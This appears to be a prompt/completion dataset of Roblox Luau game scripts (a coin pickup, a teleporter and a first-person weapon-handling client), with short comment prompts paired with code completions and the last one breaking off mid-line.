prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- Basic settings
local ROTATION_SPEED = 0.025 local tweenService = game:GetService("TweenService") local debounce = false local breakLoop = false script.Parent.Touched:connect(function(hit) -- Check if player if hit.Parent:FindFirstChild("Humanoid") and not debounce then debounce = true -- Give if player isn't null and hasn't reached maximum coins local plr = game.Players:GetPlayerFromCharacter(hit.Parent) if plr ~= nil then local maxCoins = 10 if plr.Stats.IsHunter.Value then maxCoins = maxCoins + 100 end if plr.Stats.CoinsPickedUpInRound.Value < maxCoins then -- Set the loop to break breakLoop = true -- Give coin plr.Stats.CoinsPickedUpInRound.Value = plr.Stats.CoinsPickedUpInRound.Value + 1 plr.Stats.Coins.Value = plr.Stats.Coins.Value + 1000 -- Play effect game.ReplicatedStorage.Interactions.Client.GotCoinEffect:FireClient(plr, script.Parent.Position) -- Continously spin and make less visible local originalCFrame = script.Parent.CFrame for i=1, 20 do script.Parent.CFrame = originalCFrame * CFrame.new(-5 * math.sin(i * math.pi / 20), 0, 0) * CFrame.fromEulerAnglesXYZ(0.75 * i, 0, 0) script.Parent.Transparency = math.sin(i * math.pi / 40) wait() end -- Destroy script.Parent:destroy() end end debounce = false end end) while true do -- Wait local waitTime = wait() -- See if should break loop if breakLoop then break end -- Tween to rotate local goal if script.Parent.Transparency > 0 then goal = { CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(ROTATION_SPEED, 0, 0), Transparency = script.Parent.Transparency - 0.033 } else goal = { CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(ROTATION_SPEED, 0, 0) } end tweenService:Create(script.Parent, TweenInfo.new(waitTime, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), goal):Play() end
------------------------------------
function onTouched(part) if part.Parent ~= nil then local h = part.Parent:findFirstChild("Humanoid") if h~=nil then local teleportfrom=script.Parent.Enabled.Value if teleportfrom~=0 then if h==humanoid then return end local teleportto=script.Parent.Parent:findFirstChild(modelname) if teleportto~=nil then local torso = h.Parent.UpperTorso local torso = h.Parent.LowerTorso local location = {teleportto.Position} local i = 1 local x = location[i].x local y = location[i].y local z = location[i].z x = x + math.random(-1, 1) z = z + math.random(-1, 1) y = y + math.random(2, 3) local cf = torso.CFrame local lx = 0 local ly = y local lz = 0 script.Parent.Enabled.Value=0 teleportto.Enabled.Value=0 torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz)) wait(3) script.Parent.Enabled.Value=1 teleportto.Enabled.Value=1 else print("Could not find teleporter!") end end end end end script.Parent.Touched:connect(onTouched)
--// Char Parts
local Humanoid = char:WaitForChild('Humanoid') local Head = char:WaitForChild('Head') local Torso = char:WaitForChild('Torso') local HumanoidRootPart = char:WaitForChild('HumanoidRootPart') local RootJoint = HumanoidRootPart:WaitForChild('RootJoint') local Neck = Torso:WaitForChild('Neck') local Right_Shoulder = Torso:WaitForChild('Right Shoulder') local Left_Shoulder = Torso:WaitForChild('Left Shoulder') local Right_Hip = Torso:WaitForChild('Right Hip') local Left_Hip = Torso:WaitForChild('Left Hip') local YOffset = Neck.C0.Y local WaistYOffset = Neck.C0.Y local CFNew, CFAng = CFrame.new, CFrame.Angles local Asin = math.asin local T = 0.15 User.MouseIconEnabled = true plr.CameraMode = Enum.CameraMode.Classic cam.CameraType = Enum.CameraType.Custom cam.CameraSubject = Humanoid if gameRules.TeamTags then local tag = Essential.TeamTag:clone() tag.Parent = char tag.Disabled = false end local ShellFolder = Instance.new("Folder",ACS_Workspace) ShellFolder.Name = "Casings" local Limit = gameRules.ShellLimit local PhysService = game:GetService("PhysicsService") function CreateShell(Shell,Origin) Evt.Shell:FireServer(Shell,Origin.WorldCFrame,WeaponData.EjectionOverride) end function SetWalkSpeed(Speed) if gameRules.WeaponWeight and WeaponInHand and WeaponData.WeaponWeight then if Speed - WeaponData.WeaponWeight < 1 then char:WaitForChild("Humanoid").WalkSpeed = 1 else char:WaitForChild("Humanoid").WalkSpeed = Speed - WeaponData.WeaponWeight end else char:WaitForChild("Humanoid").WalkSpeed = Speed end end Evt.Shell.OnClientEvent:Connect(function(Shell,Origin,Override) local Distance = (char.Torso.Position - Origin.Position).Magnitude local shellFolder if Engine.AmmoModels:FindFirstChild(Shell) then shellFolder = Engine.AmmoModels:FindFirstChild(Shell) else shellFolder = Engine.AmmoModels.Default end local shellStats = require(shellFolder.EjectionForce) if Distance < 100 then local NewShell = shellFolder.Casing:Clone() NewShell.Parent = ShellFolder NewShell.Anchored = false NewShell.CanCollide = true NewShell.CFrame = Origin * CFrame.Angles(0,math.rad(0),0) NewShell.Name = Shell.."_Casing" NewShell.CastShadow = false NewShell.CustomPhysicalProperties = shellStats.PhysProperties PhysService:SetPartCollisionGroup(NewShell,"Casings") local Att = Instance.new("Attachment",NewShell) Att.Position = shellStats.ForcePoint local ShellForce = Instance.new("VectorForce",NewShell) ShellForce.Visible = false if Override then ShellForce.Force = Override else ShellForce.Force = shellStats.CalculateForce() end ShellForce.Attachment0 = Att Debris:AddItem(ShellForce,0.01) if #ShellFolder:GetChildren() > Limit then ShellFolder:GetChildren()[math.random(#ShellFolder:GetChildren()/2,#ShellFolder:GetChildren())]:Destroy() end --NewShell.Touched:Connect(function(partTouched) -- if NewShell.AssemblyLinearVelocity.Magnitude > 20 and not partTouched:IsDescendantOf(char) and partTouched.CanCollide then -- local NewSound = NewShell.Drop:Clone() -- NewSound.Parent = NewShell -- NewSound.PlaybackSpeed = math.random(30,50)/40 -- NewSound:Play() -- NewSound.PlayOnRemove = true -- NewSound:Destroy() -- Debris:AddItem(NewSound,2) -- end --end) if gameRules.ShellDespawn > 0 then Debris:AddItem(NewShell,gameRules.ShellDespawn) end wait(0.25) if NewShell and NewShell:FindFirstChild("Drop") then local NewSound = NewShell.Drop:Clone() NewSound.Parent = NewShell NewSound.PlaybackSpeed = math.random(30,50)/40 NewSound:Play() NewSound.PlayOnRemove = true NewSound:Destroy() Debris:AddItem(NewSound,2) end end end) function handleAction(actionName, inputState, inputObject) if PreviousTool and canDrop and actionName == "DropWeapon" and inputState == Enum.UserInputState.Begin and gameRules.WeaponDropping then Evt.DropWeapon:FireServer(PreviousTool,require(PreviousTool.ACS_Settings)) canDrop = false end if actionName == "Fire" and inputState == Enum.UserInputState.Begin and AnimDebounce then Shoot() if WeaponData.Type == "Grenade" then CookGrenade = true Grenade() end elseif actionName == "Fire" and inputState == Enum.UserInputState.End then mouse1down = false CookGrenade = false end if actionName == "Reload" and inputState == Enum.UserInputState.Begin and AnimDebounce and not CheckingMag and not reloading then if WeaponData.Jammed then Jammed() else Reload() end end if actionName == "Reload" and inputState == Enum.UserInputState.Begin and reloading and WeaponData.ShellInsert then CancelReload = true end if actionName == "CycleLaser" and inputState == Enum.UserInputState.Begin and LaserAtt then SetLaser() end if actionName == "CycleLight" and inputState == Enum.UserInputState.Begin and TorchAtt then SetTorch() end if actionName == "CycleFiremode" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.FireModes.ChangeFiremode then Firemode() end if actionName == "CycleAimpart" and inputState == Enum.UserInputState.Begin then SetAimpart() end if actionName == "ZeroUp" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then if WeaponData.CurrentZero < WeaponData.MaxZero then WeaponInHand.Handle.Click:play() WeaponData.CurrentZero = math.min(WeaponData.CurrentZero + WeaponData.ZeroIncrement, WeaponData.MaxZero) UpdateGui() end end if actionName == "ZeroDown" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then if WeaponData.CurrentZero > 0 then WeaponInHand.Handle.Click:play() WeaponData.CurrentZero = math.max(WeaponData.CurrentZero - WeaponData.ZeroIncrement, 0) UpdateGui() end end if actionName == "CheckMag" and inputState == Enum.UserInputState.Begin and not CheckingMag and not reloading and not runKeyDown and AnimDebounce and WeaponData.CanCheckMag then CheckMagFunction() end if actionName == "ToggleBipod" and inputState == Enum.UserInputState.Begin and CanBipod then BipodActive = not BipodActive UpdateGui() end if actionName == "NVG" and inputState == Enum.UserInputState.Begin and not NVGdebounce then if not plr.Character then return; end; local helmet = plr.Character:FindFirstChild("Helmet") if not helmet then return; end; local nvg = helmet:FindFirstChild("Up") if not nvg then return; end; NVGdebounce = true delay(.8,function() NVG = not NVG Evt.NVG:Fire(NVG) NVGdebounce = false end) end if actionName == "ADS" and inputState == Enum.UserInputState.Begin and AnimDebounce then if WeaponData and WeaponData.canAim and GunStance > -2 and not runKeyDown and not CheckingMag then aimming = not aimming ADS(aimming) end if WeaponData.Type == "Grenade" then GrenadeMode() end end if actionName == "Stand" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then if Stances == 2 then Crouched = true Proned = false Stances = 1 CameraY = -1 Crouch() elseif Stances == 1 then Crouched = false Stances = 0 CameraY = 0 Stand() end end if actionName == "Crouch" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then if Stances == 0 then Stances = 1 CameraY = -1 Crouch() Crouched = true elseif Stances == 1 then Stances = 2 CameraX = 0 CameraY = -3.25 Virar = 0 Lean() Prone() Crouched = false Proned = true end end if actionName == "ToggleWalk" and inputState == Enum.UserInputState.Begin and ChangeStance and not runKeyDown then Steady = not Steady SE_GUI.MainFrame.Poses.Steady.Visible = Steady if Stances == 0 then Stand() end end if actionName == "LeanLeft" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then if Virar == 0 or Virar == 1 then Virar = -1 CameraX = -1.25 else Virar = 0 CameraX = 0 end Lean() end if actionName == "LeanRight" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then if Virar == 0 or Virar == -1 then Virar = 1 CameraX = 1.25 else Virar = 0 CameraX = 0 end Lean() end if actionName == "Run" and inputState == Enum.UserInputState.Begin and running and not script.Parent:GetAttribute("Injured") then mouse1down = false runKeyDown = true Stand() Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Lean() --SetWalkSpeed(gameRules.RunWalkSpeed) if aimming then aimming = false ADS(aimming) end if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then GunStance = 3 Evt.GunStance:FireServer(GunStance,AnimData) SprintAnim() end elseif actionName == "Run" and inputState == Enum.UserInputState.End and runKeyDown then runKeyDown = false Stand() if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) IdleAnim() end end end function resetMods() ModTable.camRecoilMod.RecoilUp = 1 ModTable.camRecoilMod.RecoilLeft = 1 ModTable.camRecoilMod.RecoilRight = 1 ModTable.camRecoilMod.RecoilTilt = 1 ModTable.gunRecoilMod.RecoilUp = 1 ModTable.gunRecoilMod.RecoilTilt = 1 ModTable.gunRecoilMod.RecoilLeft = 1 ModTable.gunRecoilMod.RecoilRight = 1 ModTable.AimRM = 1 ModTable.SpreadRM = 1 ModTable.DamageMod = 1 ModTable.minDamageMod = 1 ModTable.MinRecoilPower = 1 ModTable.MaxRecoilPower = 1 ModTable.RecoilPowerStepAmount = 1 ModTable.MinSpread = 1 ModTable.MaxSpread = 1 ModTable.AimInaccuracyStepAmount = 1 ModTable.AimInaccuracyDecrease = 1 ModTable.WalkMult = 1 ModTable.MuzzleVelocity = 1 end function setMods(ModData) ModTable.camRecoilMod.RecoilUp = ModTable.camRecoilMod.RecoilUp * ModData.camRecoil.RecoilUp ModTable.camRecoilMod.RecoilLeft = ModTable.camRecoilMod.RecoilLeft * ModData.camRecoil.RecoilLeft ModTable.camRecoilMod.RecoilRight = ModTable.camRecoilMod.RecoilRight * ModData.camRecoil.RecoilRight ModTable.camRecoilMod.RecoilTilt = ModTable.camRecoilMod.RecoilTilt * ModData.camRecoil.RecoilTilt ModTable.gunRecoilMod.RecoilUp = ModTable.gunRecoilMod.RecoilUp * ModData.gunRecoil.RecoilUp ModTable.gunRecoilMod.RecoilTilt = ModTable.gunRecoilMod.RecoilTilt * ModData.gunRecoil.RecoilTilt ModTable.gunRecoilMod.RecoilLeft = ModTable.gunRecoilMod.RecoilLeft * ModData.gunRecoil.RecoilLeft ModTable.gunRecoilMod.RecoilRight = ModTable.gunRecoilMod.RecoilRight * ModData.gunRecoil.RecoilRight ModTable.AimRM = ModTable.AimRM * ModData.AimRecoilReduction ModTable.SpreadRM = ModTable.SpreadRM * ModData.AimSpreadReduction ModTable.DamageMod = ModTable.DamageMod * ModData.DamageMod ModTable.minDamageMod = ModTable.minDamageMod * ModData.minDamageMod ModTable.MinRecoilPower = ModTable.MinRecoilPower * ModData.MinRecoilPower ModTable.MaxRecoilPower = ModTable.MaxRecoilPower * ModData.MaxRecoilPower ModTable.RecoilPowerStepAmount = ModTable.RecoilPowerStepAmount * ModData.RecoilPowerStepAmount ModTable.MinSpread = ModTable.MinSpread * ModData.MinSpread ModTable.MaxSpread = ModTable.MaxSpread * ModData.MaxSpread ModTable.AimInaccuracyStepAmount = ModTable.AimInaccuracyStepAmount * ModData.AimInaccuracyStepAmount ModTable.AimInaccuracyDecrease = ModTable.AimInaccuracyDecrease * ModData.AimInaccuracyDecrease ModTable.WalkMult = ModTable.WalkMult * ModData.WalkMult ModTable.MuzzleVelocity = ModTable.MuzzleVelocity * ModData.MuzzleVelocityMod end function loadAttachment(weapon) if not weapon or not weapon:FindFirstChild("Nodes") then return; end; --load sight Att if weapon.Nodes:FindFirstChild("Sight") and WeaponData.SightAtt ~= "" then SightData = require(AttModules[WeaponData.SightAtt]) SightAtt = AttModels[WeaponData.SightAtt]:Clone() SightAtt.Parent = weapon SightAtt:SetPrimaryPartCFrame(weapon.Nodes.Sight.CFrame) weapon.AimPart.CFrame = SightAtt.AimPos.CFrame reticle = SightAtt.SightMark.SurfaceGui.Border.Scope if SightData.SightZoom > 0 then ModTable.ZoomValue = SightData.SightZoom end if SightData.SightZoom2 > 0 then ModTable.Zoom2Value = SightData.SightZoom2 end setMods(SightData) for index, key in pairs(weapon:GetChildren()) do if key.Name ~= "IS" then continue; end; key.Transparency = 1 end for index, key in pairs(SightAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end --load Barrel Att if weapon.Nodes:FindFirstChild("Barrel") ~= nil and WeaponData.BarrelAtt ~= "" then BarrelData = require(AttModules[WeaponData.BarrelAtt]) BarrelAtt = AttModels[WeaponData.BarrelAtt]:Clone() BarrelAtt.Parent = weapon BarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.Barrel.CFrame) if BarrelAtt:FindFirstChild("BarrelPos") ~= nil then weapon.Handle.Muzzle.WorldCFrame = BarrelAtt.BarrelPos.CFrame end Suppressor = BarrelData.IsSuppressor FlashHider = BarrelData.IsFlashHider setMods(BarrelData) for index, key in pairs(BarrelAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end --load Under Barrel Att if weapon.Nodes:FindFirstChild("UnderBarrel") ~= nil and WeaponData.UnderBarrelAtt ~= "" then UnderBarrelData = require(AttModules[WeaponData.UnderBarrelAtt]) UnderBarrelAtt = AttModels[WeaponData.UnderBarrelAtt]:Clone() UnderBarrelAtt.Parent = weapon UnderBarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.UnderBarrel.CFrame) setMods(UnderBarrelData) BipodAtt = UnderBarrelData.IsBipod if BipodAtt then CAS:BindAction("ToggleBipod", handleAction, true, gameRules.ToggleBipod) end for index, key in pairs(UnderBarrelAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end if weapon.Nodes:FindFirstChild("Other") ~= nil and WeaponData.OtherAtt ~= "" then OtherData = require(AttModules[WeaponData.OtherAtt]) OtherAtt = AttModels[WeaponData.OtherAtt]:Clone() OtherAtt.Parent = weapon OtherAtt:SetPrimaryPartCFrame(weapon.Nodes.Other.CFrame) setMods(OtherData) LaserAtt = OtherData.EnableLaser TorchAtt = OtherData.EnableFlashlight if OtherData.InfraRed then IREnable = true end for index, key in pairs(OtherAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end end function SetLaser() if gameRules.RealisticLaser and IREnable then if not LaserActive and not IRmode then LaserActive = true IRmode = true elseif LaserActive and IRmode then IRmode = false else LaserActive = false IRmode = false end else LaserActive = not LaserActive end WeaponInHand.Handle.Click:play() UpdateGui() if LaserActive then if Pointer then return; end; for index, Key in pairs(WeaponInHand:GetDescendants()) do if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end; local LaserPointer = Instance.new('Part',Key) LaserPointer.Shape = 'Ball' LaserPointer.Size = Vector3.new(0.2, 0.2, 0.2) LaserPointer.CanCollide = false LaserPointer.Color = Key.Color LaserPointer.Material = Enum.Material.Neon local LaserSP = Instance.new('Attachment',Key) local LaserEP = Instance.new('Attachment',LaserPointer) local Laser = Instance.new('Beam',LaserPointer) Laser.Transparency = NumberSequence.new(0) Laser.LightEmission = 1 Laser.LightInfluence = 1 Laser.Attachment0 = LaserSP Laser.Attachment1 = LaserEP Laser.Color = ColorSequence.new(Key.Color) Laser.FaceCamera = true Laser.Width0 = 0.01 Laser.Width1 = 0.01 if gameRules.RealisticLaser then Laser.Enabled = false end Pointer = LaserPointer break end else for index, Key in pairs(WeaponInHand:GetDescendants()) do if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end; Key:ClearAllChildren() break end Pointer = nil if gameRules.ReplicatedLaser then Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool) end end end function SetTorch() TorchActive = not TorchActive for index, Key in pairs(WeaponInHand:GetDescendants()) do if not Key:IsA("BasePart") or Key.Name ~= "FlashPoint" then continue; end; Key.Light.Enabled = TorchActive end Evt.SVFlash:FireServer(WeaponTool,TorchActive) WeaponInHand.Handle.Click:play() UpdateGui() end function ToggleADS(Type) local ADSTween if WeaponData.adsTime then ADSTween = TweenInfo.new(WeaponData.adsTime / 20,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false,WeaponData.adsTime / 20) else ADSTween = TweenInfo.new(0.2,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false,0.2) end if Type == "REG" then for _, child in pairs(WeaponInHand:GetChildren()) do if child.Name == "REG" then TS:Create(child, ADSTween, {Transparency = 0}):Play() elseif child.Name == "ADS" then TS:Create(child, ADSTween, {Transparency = 1}):Play() end end elseif Type == "ADS" then for _, child in pairs(WeaponInHand:GetChildren()) do if child.Name == "REG" then TS:Create(child, ADSTween, {Transparency = 1}):Play() elseif child.Name == "ADS" then TS:Create(child, ADSTween, {Transparency = 0}):Play() end end end end function ADS(aimming) if not WeaponData or not WeaponInHand then return; end; if aimming then if SafeMode then SafeMode = false GunStance = 0 IdleAnim() UpdateGui() end game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100) WeaponInHand.Handle.AimDown:Play() if WeaponData.ADSEnabled then if WeaponData.ADSEnabled[AimPartMode] then ToggleADS("ADS") end else ToggleADS("ADS") end GunStance = 2 Evt.GunStance:FireServer(GunStance,AnimData) TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() else game:GetService('UserInputService').MouseDeltaSensitivity = 1 WeaponInHand.Handle.AimUp:Play() ToggleADS("REG") GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) if WeaponData.CrossHair then TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() end if WeaponData.CenterDot then TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play() else TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() end end end function SetAimpart() if aimming then if AimPartMode == 1 then AimPartMode = 2 if WeaponInHand:FindFirstChild('AimPart2') then CurAimpart = WeaponInHand:FindFirstChild('AimPart2') end else AimPartMode = 1 CurAimpart = WeaponInHand:FindFirstChild('AimPart') end --print("Set to Aimpart: "..AimPartMode) if WeaponData.ADSEnabled then if WeaponData.ADSEnabled[AimPartMode] then ToggleADS("ADS") else ToggleADS("REG") end end end end function Firemode() WeaponInHand.Handle.SafetyClick:Play() mouse1down = false ---Semi Settings--- if WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == true then WeaponData.ShootType = 2 elseif WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == false and WeaponData.FireModes.Auto == true then WeaponData.ShootType = 3 ---Burst Settings--- elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Auto == true then WeaponData.ShootType = 3 elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Semi == true and WeaponData.FireModes.Auto == false then WeaponData.ShootType = 1 ---Auto Settings--- elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == true then WeaponData.ShootType = 1 elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == false and WeaponData.FireModes.Burst == true then WeaponData.ShootType = 2 ---Explosive Settings--- end UpdateGui() end function setup(Tool) if not char or not Tool or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end; local ToolCheck = Tool local GunModelCheck = GunModels:FindFirstChild(Tool.Name) if not ToolCheck or not GunModelCheck then warn("Tool Or Gun Model Doesn't Exist") return; end; ToolEquip = true User.MouseIconEnabled = false plr.CameraMode = Enum.CameraMode.LockFirstPerson WeaponTool = ToolCheck if WeaponTool then PreviousTool = WeaponTool canDrop = true end WeaponData = require(Tool:FindFirstChild("ACS_Settings")) AnimData = require(Tool:FindFirstChild("ACS_Animations")) WeaponInHand = GunModelCheck:Clone() WeaponInHand.PrimaryPart = WeaponInHand:WaitForChild("Handle") if WeaponData.Type == "Gun" then WeaponInHand.Handle.AimDown:Play() end Evt.Equip:FireServer(Tool,1,WeaponData,AnimData) RepValues = Tool:WaitForChild("RepValues") ViewModel = ArmModel:WaitForChild("Arms"):Clone() ViewModel.Name = "Viewmodel" if char:WaitForChild("Body Colors") then local Colors = char:WaitForChild("Body Colors"):Clone() Colors.Parent = ViewModel end if char:FindFirstChild("Shirt") then local Shirt = char:FindFirstChild("Shirt"):Clone() Shirt.Parent = ViewModel end AnimPart = Instance.new("Part",ViewModel) AnimPart.Size = Vector3.new(0.1,0.1,0.1) AnimPart.Anchored = true AnimPart.CanCollide = false AnimPart.Transparency = 1 ViewModel.PrimaryPart = AnimPart LArmWeld = Instance.new("Motor6D",AnimPart) LArmWeld.Name = "LeftArm" LArmWeld.Part0 = AnimPart RArmWeld = Instance.new("Motor6D",AnimPart) RArmWeld.Name = "RightArm" RArmWeld.Part0 = AnimPart GunWeld = Instance.new("Motor6D",AnimPart) GunWeld.Name = "Handle" --setup arms to camera ViewModel.Parent = cam maincf = AnimData.MainCFrame guncf = AnimData.GunCFrame larmcf = AnimData.LArmCFrame rarmcf = AnimData.RArmCFrame if WeaponData.CrossHair then TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() if WeaponData.Bullets > 1 then Crosshair.Up.Rotation = 90 Crosshair.Down.Rotation = 90 Crosshair.Left.Rotation = 90 Crosshair.Right.Rotation = 90 else Crosshair.Up.Rotation = 0 Crosshair.Down.Rotation = 0 Crosshair.Left.Rotation = 0 Crosshair.Right.Rotation = 0 end else TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() end if WeaponData.CenterDot then TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play() else TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() end LArm = ViewModel:WaitForChild("Left Arm") LArmWeld.Part1 = LArm LArmWeld.C0 = CFrame.new() LArmWeld.C1 = CFrame.new(1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse() RArm = ViewModel:WaitForChild("Right Arm") RArmWeld.Part1 = RArm RArmWeld.C0 = CFrame.new() RArmWeld.C1 = CFrame.new(-1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse() GunWeld.Part0 = RArm LArm.Anchored = false RArm.Anchored = false --setup weapon to camera ModTable.ZoomValue = WeaponData.Zoom ModTable.Zoom2Value = WeaponData.Zoom2 IREnable = WeaponData.InfraRed CAS:BindAction("Fire", handleAction, true, Enum.UserInputType.MouseButton1, Enum.KeyCode.ButtonR2) CAS:BindAction("ADS", handleAction, true, Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2) CAS:BindAction("Reload", handleAction, true, gameRules.Reload, Enum.KeyCode.ButtonB) CAS:BindAction("CycleAimpart", handleAction, false, gameRules.SwitchSights) CAS:BindAction("CycleLaser", handleAction, true, gameRules.ToggleLaser) CAS:BindAction("CycleLight", handleAction, true, gameRules.ToggleLight) CAS:BindAction("CycleFiremode", handleAction, false, gameRules.FireMode) CAS:BindAction("CheckMag", handleAction, false, gameRules.CheckMag) CAS:BindAction("ZeroDown", handleAction, false, gameRules.ZeroDown) CAS:BindAction("ZeroUp", handleAction, false, gameRules.ZeroUp) CAS:BindAction("DropWeapon", handleAction, true, gameRules.DropGun) loadAttachment(WeaponInHand) BSpread = math.min(WeaponData.MinSpread * ModTable.MinSpread, WeaponData.MaxSpread * ModTable.MaxSpread) RecoilPower = math.min(WeaponData.MinRecoilPower * ModTable.MinRecoilPower, WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower) Ammo = RepValues.Mag.Value StoredAmmo = RepValues.StoredAmmo.Value CurAimpart = WeaponInHand:FindFirstChild("AimPart") for _, cPart in pairs(WeaponInHand:GetChildren()) do if cPart.Name == "Warhead" and Ammo < 1 then cPart.Transparency = 1 end end for index, Key in pairs(WeaponInHand:GetDescendants()) do if Key:IsA("BasePart") and Key.Name == "FlashPoint" then TorchAtt = true end if Key:IsA("BasePart") and Key.Name == "LaserPoint" then LaserAtt = true end end if WeaponData.Type == "Gun" and WeaponData.ShellEjectionMod then WeaponInHand.Bolt.SlidePull.Played:Connect(function() --print(canPump) if Ammo > 0 or canPump then CreateShell(WeaponData.BulletType,WeaponInHand.Handle.Chamber) WeaponInHand.Handle.Chamber.Smoke:Emit(10) canPump = false end end) end if WeaponData.EnableHUD then SE_GUI.GunHUD.Visible = true end UpdateGui() for index, key in pairs(WeaponInHand:GetChildren()) do if key:IsA('BasePart') and key.Name ~= 'Handle' then if key.Name ~= "Bolt" and key.Name ~= 'Lid' and key.Name ~= "Slide" then Ultil.Weld(WeaponInHand:WaitForChild("Handle"), key) end if key.Name == "Bolt" or key.Name == "Slide" then Ultil.WeldComplex(WeaponInHand:WaitForChild("Handle"), key, key.Name) end; if key.Name == "Lid" then if WeaponInHand:FindFirstChild('LidHinge') then Ultil.Weld(key, WeaponInHand:WaitForChild("LidHinge")) else Ultil.Weld(key, WeaponInHand:WaitForChild("Handle")) end end end end; for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand:GetChildren()) do if L_214_forvar2:IsA('BasePart') then L_214_forvar2.Anchored = false L_214_forvar2.CanCollide = false end end; if WeaponInHand:FindFirstChild("Nodes") then for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand.Nodes:GetChildren()) do if L_214_forvar2:IsA('BasePart') then Ultil.Weld(WeaponInHand:WaitForChild("Handle"), L_214_forvar2) L_214_forvar2.Anchored = false L_214_forvar2.CanCollide = false end end; end GunWeld.Part1 = WeaponInHand:WaitForChild("Handle") GunWeld.C1 = guncf --WeaponInHand:SetPrimaryPartCFrame( RArm.CFrame * 